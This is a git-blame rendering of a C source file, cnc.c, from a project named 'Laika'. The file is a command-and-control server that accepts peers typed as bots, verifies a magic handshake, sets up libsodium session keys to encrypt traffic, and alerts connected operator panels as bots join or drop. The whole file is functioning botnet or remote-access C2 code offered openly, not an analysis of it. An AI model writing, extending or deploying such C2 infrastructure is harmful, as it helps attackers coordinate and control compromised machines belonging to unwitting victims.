2022-01-24 16:34:30 +00:00
|
|
|
#include "lmem.h"
|
2022-01-28 01:55:28 +00:00
|
|
|
#include "lrsa.h"
|
2022-01-25 18:13:04 +00:00
|
|
|
#include "lsocket.h"
|
2022-01-24 16:34:30 +00:00
|
|
|
#include "lerror.h"
|
|
|
|
|
2022-02-13 00:21:59 +00:00
|
|
|
#include "cpanel.h"
|
2022-01-24 15:51:29 +00:00
|
|
|
#include "cnc.h"
|
|
|
|
|
2022-01-25 19:53:17 +00:00
|
|
|
LAIKAPKT_SIZE laikaC_pktSizeTbl[LAIKAPKT_MAXNONE] = {
|
2022-02-13 00:21:59 +00:00
|
|
|
[LAIKAPKT_HANDSHAKE_REQ] = LAIKA_MAGICLEN + sizeof(uint8_t) + sizeof(uint8_t) + crypto_kx_PUBLICKEYBYTES,
|
|
|
|
[LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ] = sizeof(uint8_t),
|
2022-01-24 16:34:30 +00:00
|
|
|
};
|
|
|
|
|
2022-02-13 00:21:59 +00:00
|
|
|
void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
2022-01-31 01:10:10 +00:00
|
|
|
char magicBuf[LAIKA_MAGICLEN];
|
2022-01-28 01:55:28 +00:00
|
|
|
struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData;
|
2022-01-31 01:10:10 +00:00
|
|
|
uint8_t major, minor;
|
2022-01-28 01:55:28 +00:00
|
|
|
|
2022-01-31 01:10:10 +00:00
|
|
|
laikaS_read(&peer->sock, (void*)magicBuf, LAIKA_MAGICLEN);
|
|
|
|
major = laikaS_readByte(&peer->sock);
|
|
|
|
minor = laikaS_readByte(&peer->sock);
|
2022-02-03 22:25:49 +00:00
|
|
|
peer->type = PEER_BOT;
|
2022-01-25 18:13:04 +00:00
|
|
|
|
2022-01-31 01:10:10 +00:00
|
|
|
if (memcmp(magicBuf, LAIKA_MAGIC, LAIKA_MAGICLEN) != 0
|
|
|
|
|| major != LAIKA_VERSION_MAJOR
|
|
|
|
|| minor != LAIKA_VERSION_MINOR)
|
|
|
|
LAIKA_ERROR("invalid handshake request!\n");
|
2022-01-25 18:13:04 +00:00
|
|
|
|
2022-01-31 01:10:10 +00:00
|
|
|
/* read peer's public key */
|
|
|
|
laikaS_read(&peer->sock, peer->peerPub, sizeof(peer->peerPub));
|
2022-01-28 01:55:28 +00:00
|
|
|
|
2022-02-03 22:25:49 +00:00
|
|
|
/* gen session keys */
|
2022-02-04 02:51:32 +00:00
|
|
|
if (crypto_kx_server_session_keys(peer->inKey, peer->outKey, cnc->pub, cnc->priv, peer->peerPub) != 0)
|
2022-02-03 22:25:49 +00:00
|
|
|
LAIKA_ERROR("failed to gen session key!\n")
|
|
|
|
|
|
|
|
/* encrypt all future packets */
|
2022-02-04 02:51:32 +00:00
|
|
|
laikaS_setSecure(peer, true);
|
2022-02-03 22:25:49 +00:00
|
|
|
|
2022-01-31 01:10:10 +00:00
|
|
|
/* queue response */
|
2022-02-04 02:51:32 +00:00
|
|
|
laikaS_startOutPacket(peer, LAIKAPKT_HANDSHAKE_RES);
|
2022-01-31 01:10:10 +00:00
|
|
|
laikaS_writeByte(&peer->sock, laikaS_isBigEndian());
|
2022-02-04 02:51:32 +00:00
|
|
|
laikaS_endOutPacket(peer);
|
2022-01-28 01:55:28 +00:00
|
|
|
|
2022-02-14 06:22:36 +00:00
|
|
|
/* handshake (mostly) complete */
|
|
|
|
laikaC_onAddPeer(cnc, peer);
|
|
|
|
|
2022-01-31 19:27:12 +00:00
|
|
|
LAIKA_DEBUG("accepted handshake from peer %lx\n", peer);
|
2022-01-24 16:34:30 +00:00
|
|
|
}
|
|
|
|
|
2022-01-31 01:10:10 +00:00
|
|
|
PeerPktHandler laikaC_handlerTbl[LAIKAPKT_MAXNONE] = {
|
2022-02-13 00:21:59 +00:00
|
|
|
[LAIKAPKT_HANDSHAKE_REQ] = laikaC_handleHandshakeRequest,
|
|
|
|
[LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ] = laikaC_handleAuthenticatedHandshake,
|
2022-01-31 01:10:10 +00:00
|
|
|
};
|
|
|
|
|
2022-01-24 16:34:30 +00:00
|
|
|
struct sLaika_cnc *laikaC_newCNC(uint16_t port) {
|
|
|
|
struct sLaika_cnc *cnc = laikaM_malloc(sizeof(struct sLaika_cnc));
|
2022-01-28 01:55:28 +00:00
|
|
|
size_t _unused;
|
2022-01-24 16:34:30 +00:00
|
|
|
|
2022-02-13 00:21:59 +00:00
|
|
|
cnc->panels = NULL;
|
|
|
|
cnc->panelCap = 4;
|
|
|
|
cnc->panelCount = 0;
|
|
|
|
|
2022-01-24 16:34:30 +00:00
|
|
|
/* init socket & pollList */
|
|
|
|
laikaS_initSocket(&cnc->sock);
|
|
|
|
laikaP_initPList(&cnc->pList);
|
|
|
|
|
|
|
|
/* bind sock to port */
|
|
|
|
laikaS_bind(&cnc->sock, port);
|
|
|
|
|
|
|
|
/* add sock to pollList */
|
|
|
|
laikaP_addSock(&cnc->pList, &cnc->sock);
|
2022-01-25 02:57:54 +00:00
|
|
|
|
2022-01-28 01:55:28 +00:00
|
|
|
if (sodium_init() < 0) {
|
|
|
|
laikaC_freeCNC(cnc);
|
|
|
|
LAIKA_ERROR("LibSodium failed to initialize!\n");
|
|
|
|
}
|
|
|
|
|
2022-01-31 01:22:02 +00:00
|
|
|
/* load keys */
|
2022-01-31 01:10:10 +00:00
|
|
|
LAIKA_DEBUG("using pubkey: %s\n", LAIKA_PUBKEY);
|
2022-02-03 22:25:49 +00:00
|
|
|
if (sodium_hex2bin(cnc->pub, crypto_kx_PUBLICKEYBYTES, LAIKA_PUBKEY, strlen(LAIKA_PUBKEY), NULL, &_unused, NULL) != 0) {
|
2022-01-28 01:55:28 +00:00
|
|
|
laikaC_freeCNC(cnc);
|
|
|
|
LAIKA_ERROR("Failed to init cnc public key!\n");
|
|
|
|
}
|
|
|
|
|
2022-02-03 22:25:49 +00:00
|
|
|
if (sodium_hex2bin(cnc->priv, crypto_kx_SECRETKEYBYTES, LAIKA_PRIVKEY, strlen(LAIKA_PRIVKEY), NULL, &_unused, NULL) != 0) {
|
2022-01-28 01:55:28 +00:00
|
|
|
laikaC_freeCNC(cnc);
|
|
|
|
LAIKA_ERROR("Failed to init cnc private key!\n");
|
|
|
|
}
|
|
|
|
|
2022-01-25 02:57:54 +00:00
|
|
|
return cnc;
|
2022-01-24 16:34:30 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
void laikaC_freeCNC(struct sLaika_cnc *cnc) {
|
|
|
|
laikaS_cleanSocket(&cnc->sock);
|
|
|
|
laikaP_cleanPList(&cnc->pList);
|
|
|
|
laikaM_free(cnc);
|
|
|
|
}
|
|
|
|
|
2022-02-13 00:21:59 +00:00
|
|
|
void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
|
|
|
|
int i;
|
|
|
|
|
2022-02-14 05:55:30 +00:00
|
|
|
/* notify connected panels of the newly connected peer */
|
2022-02-13 00:21:59 +00:00
|
|
|
for (i = 0; i < cnc->panelCount; i++) {
|
2022-02-14 06:22:36 +00:00
|
|
|
LAIKA_DEBUG("sending new peer to %lx\n", peer);
|
2022-02-13 00:21:59 +00:00
|
|
|
laikaC_sendNewPeer(cnc->panels[i], peer);
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
|
|
|
|
int i;
|
|
|
|
|
|
|
|
/* notify connected panels of the disconnected peer */
|
|
|
|
for (i = 0; i < cnc->panelCount; i++) {
|
2022-02-14 05:55:30 +00:00
|
|
|
if (cnc->panels[i] != peer) /* don't send disconnect event to themselves */
|
|
|
|
laikaC_sendRmvPeer(cnc->panels[i], peer);
|
2022-02-13 00:21:59 +00:00
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
void laikaC_rmvPanel(struct sLaika_cnc *cnc, struct sLaika_peer *panel) {
|
|
|
|
int i;
|
|
|
|
|
|
|
|
for (i = 0; i < cnc->panelCount; i++) {
|
|
|
|
if (cnc->panels[i] == panel) { /* we found the index for our panel! */
|
2022-02-14 05:55:30 +00:00
|
|
|
laikaM_rmvarray(cnc->panels, cnc->panelCount, i, 1);
|
2022-02-14 06:22:36 +00:00
|
|
|
return;
|
2022-02-13 00:21:59 +00:00
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
void laikaC_addPanel(struct sLaika_cnc *cnc, struct sLaika_peer *panel) {
|
|
|
|
/* grow array if we need to */
|
|
|
|
laikaM_growarray(struct sLaika_peer*, cnc->panels, 1, cnc->panelCount, cnc->panelCap);
|
|
|
|
|
|
|
|
/* insert into authenticated panel table */
|
|
|
|
cnc->panels[cnc->panelCount++] = panel;
|
2022-02-14 06:22:36 +00:00
|
|
|
|
|
|
|
LAIKA_DEBUG("added panel %lx!\n", panel);
|
2022-02-13 00:21:59 +00:00
|
|
|
}
|
|
|
|
|
2022-01-24 16:34:30 +00:00
|
|
|
void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
|
2022-02-13 00:21:59 +00:00
|
|
|
laikaC_onRmvPeer(cnc, peer);
|
|
|
|
|
|
|
|
/* remove peer from panels list (if it's a panel) */
|
|
|
|
if (peer->type == PEER_PANEL)
|
|
|
|
laikaC_rmvPanel(cnc, peer);
|
|
|
|
|
2022-01-25 03:46:29 +00:00
|
|
|
laikaP_rmvSock(&cnc->pList, (struct sLaika_socket*)peer);
|
2022-01-25 18:13:04 +00:00
|
|
|
laikaS_freePeer(peer);
|
2022-02-13 00:21:59 +00:00
|
|
|
|
|
|
|
LAIKA_DEBUG("peer %lx killed!\n", peer);
|
2022-01-24 16:34:30 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) {
|
|
|
|
struct sLaika_peer *peer;
|
|
|
|
struct sLaika_pollEvent *evnts;
|
|
|
|
int numEvents, i;
|
|
|
|
|
|
|
|
evnts = laikaP_poll(&cnc->pList, timeout, &numEvents);
|
|
|
|
|
|
|
|
/* if we have 0 events, we reached the timeout, let the caller know */
|
|
|
|
if (numEvents == 0) {
|
|
|
|
return false;
|
|
|
|
}
|
|
|
|
|
|
|
|
/* walk through and handle each event */
|
|
|
|
for (i = 0; i < numEvents; i++) {
|
|
|
|
if (evnts[i].sock == &cnc->sock) { /* event on listener? */
|
|
|
|
peer = laikaS_newPeer(
|
2022-01-31 01:10:10 +00:00
|
|
|
laikaC_handlerTbl,
|
2022-01-25 02:57:54 +00:00
|
|
|
laikaC_pktSizeTbl,
|
2022-01-24 16:34:30 +00:00
|
|
|
&cnc->pList,
|
2022-01-25 02:57:54 +00:00
|
|
|
(void*)cnc
|
2022-01-24 16:34:30 +00:00
|
|
|
);
|
|
|
|
|
|
|
|
/* setup and accept new peer */
|
|
|
|
laikaS_acceptFrom(&peer->sock, &cnc->sock);
|
|
|
|
laikaS_setNonBlock(&peer->sock);
|
|
|
|
|
|
|
|
/* add to our pollList */
|
2022-01-25 02:57:54 +00:00
|
|
|
laikaP_addSock(&cnc->pList, &peer->sock);
|
2022-01-25 03:46:29 +00:00
|
|
|
|
2022-01-31 19:27:12 +00:00
|
|
|
LAIKA_DEBUG("new peer %lx!\n", peer);
|
2022-01-24 16:34:30 +00:00
|
|
|
continue;
|
|
|
|
}
|
|
|
|
|
|
|
|
peer = (struct sLaika_peer*)evnts[i].sock;
|
|
|
|
|
|
|
|
LAIKA_TRY
|
|
|
|
if (evnts[i].pollIn && !laikaS_handlePeerIn(peer))
|
2022-01-25 18:13:04 +00:00
|
|
|
goto _CNCKILL;
|
2022-01-24 16:34:30 +00:00
|
|
|
|
|
|
|
if (evnts[i].pollOut && !laikaS_handlePeerOut(peer))
|
2022-01-25 18:13:04 +00:00
|
|
|
goto _CNCKILL;
|
2022-01-24 16:34:30 +00:00
|
|
|
|
|
|
|
if (!evnts[i].pollIn && !evnts[i].pollOut)
|
2022-01-25 18:13:04 +00:00
|
|
|
goto _CNCKILL;
|
2022-01-24 16:34:30 +00:00
|
|
|
|
|
|
|
LAIKA_CATCH
|
2022-01-25 18:13:04 +00:00
|
|
|
_CNCKILL:
|
2022-01-24 16:34:30 +00:00
|
|
|
laikaC_killPeer(cnc, peer);
|
|
|
|
LAIKA_TRYEND
|
|
|
|
}
|
|
|
|
|
2022-02-14 05:55:30 +00:00
|
|
|
/* flush pList's outQueue */
|
|
|
|
for (i = 0; i < cnc->pList.outCount; i++) {
|
|
|
|
peer = cnc->pList.outQueue[i];
|
2022-02-14 06:22:36 +00:00
|
|
|
LAIKA_DEBUG("sending OUT to %lx\n", peer);
|
2022-02-14 05:55:30 +00:00
|
|
|
if (!laikaS_handlePeerOut(peer))
|
|
|
|
laikaC_killPeer(cnc, peer);
|
|
|
|
}
|
|
|
|
laikaP_resetOutQueue(&cnc->pList);
|
|
|
|
|
2022-01-24 16:34:30 +00:00
|
|
|
return true;
|
|
|
|
}
|